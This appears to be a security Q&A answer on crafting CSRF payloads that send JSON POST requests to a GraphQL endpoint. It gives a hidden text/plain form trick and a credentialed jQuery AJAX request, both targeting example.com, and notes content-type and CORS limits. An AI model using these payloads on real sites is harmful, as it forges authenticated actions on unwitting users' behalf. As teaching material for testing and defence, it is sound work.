There are two ways to fix the additional =
sign:
- use a standard
form
CSRF payload and "hide" the =
sign in a JSON attribute string context
- use AJAX
You can use the following form to create a syntactically correct JSON POST request:
<html>
<form action="https://example.com/graphql" method=post enctype="text/plain" >
<input name='{"query": "[the query]","additional_parameter": "additional_value", "x":"' value='undefined"}' type='hidden'>
<input type="submit">
</form>
</html>
This will create the following request:
POST /graphql HTTP/1.1
Host: example.com
{"query": "[the query]","additional_parameter": "additional_value", "x":"=undefined"}
Some applications may reject the request if you have additional parameters though. In that case, you can use a standard AJAX request:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script>
$.ajax({
url: 'https://example.com/graphql',
type: 'POST',
// contentType: "application/json; charset=utf-8", // we can't change the content type unless CORS allows it
xhrFields: {
withCredentials: true
},
crossDomain: true,
headers: {
//'Accept': 'application/json, text/*' // we can't change the accept header unless CORS allows it
},
data: '{"query": "[the query]","additional_parameter": "additional_value"}'
,
success: function (result) {
console.log(result);
},
error: function(result) {
console.log(result);
}
});
</script>
This will work because for POST requests, no preflight request will be issued. You can't read out the response because of the SOP, but the request will be sent.
The application may still reject the request though because of the non-JSON content type header, which you can't usually modify using AJAX. You can modify it using flash in some (older) browsers (often oos for bug bounties) or if there is some CORS misconfiguration.